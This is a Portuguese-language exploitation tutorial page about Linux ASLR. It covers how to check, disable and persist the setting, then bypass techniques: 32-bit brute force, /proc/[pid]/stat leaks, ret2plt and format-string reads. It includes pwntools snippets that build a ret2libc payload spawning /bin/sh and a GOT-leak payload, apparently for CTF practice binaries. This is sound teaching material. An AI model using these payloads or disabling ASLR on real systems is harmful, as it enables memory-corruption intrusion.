# ASLR

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## Informações Básicas

**Address Space Layout Randomization (ASLR)** é uma técnica de segurança utilizada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente buffer overflows.

### **Verificando o Status do ASLR**

Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo `/proc/sys/kernel/randomize_va_space`. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado:

* **0**: Sem randomização. Tudo é estático.
* **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
* **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de `brk()` é randomizada.

Você pode verificar o status do ASLR com o seguinte comando:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Desabilitando ASLR**

Para **desabilitar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desabilitar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desabilitá-lo:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Você também pode desativar o ASLR para uma execução com:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Habilitando ASLR**

Para **habilitar** ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistência Através de Reinicializações**

As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Após editar `/etc/sysctl.conf`, aplique as alterações com:
```bash
sudo sysctl -p
```
Isso garantirá que suas configurações de ASLR permaneçam após reinicializações.

## **Bypasses**

### Força bruta de 32 bits

PaX divide o espaço de endereços do processo em **3 grupos**:

* **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais.
* **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamada `delta_mmap`.
* **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente utiliza **11 bits** (do 10º ao 20º byte, inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**.

Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso.

#### Ideias de força bruta:

* Se você tiver um estouro grande o suficiente para hospedar um **grande NOP sled antes do shellcode**, você poderia simplesmente forçar endereços na pilha até que o fluxo **salte sobre alguma parte do NOP sled**.
* Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível **adicionar o NOP sled e o shellcode em uma variável de ambiente**.
* Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demora 10s a mais para responder**, você encontrou o endereço dessa função.

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Em sistemas de 64 bits, a entropia é muito maior e isso não é possível.
{% endhint %}

### Informações Locais (`/proc/[pid]/stat`)

O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e **contém informações interessantes** como:

* **startcode** & **endcode**: Endereços acima e abaixo com o **TEXT** do binário
* **startstack**: O endereço do início da **pilha**
* **start\_data** & **end\_data**: Endereços acima e abaixo onde está o **BSS**
* **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP**
* **arg\_start** & **arg\_end**: Endereços acima e abaixo onde estão os **argumentos cli**.
* **env\_start** & **env\_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**.

Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não espera o estouro de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**.

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Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`
{% endhint %}

### Tendo um leak

* **O desafio é fornecer um leak**

Se você receber um leak (desafios fáceis de CTF), pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes):
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
```
* **ret2plt**

Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Verifique:

{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}

* **Format Strings Arbitrary Read**

Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Você pode encontrar mais informações sobre Leitura arbitrária de Strings de Formato em:

{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}

### Ret2ret & Ret2pop

Tente contornar o ASLR abusando de endereços dentro da pilha:

{% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %}

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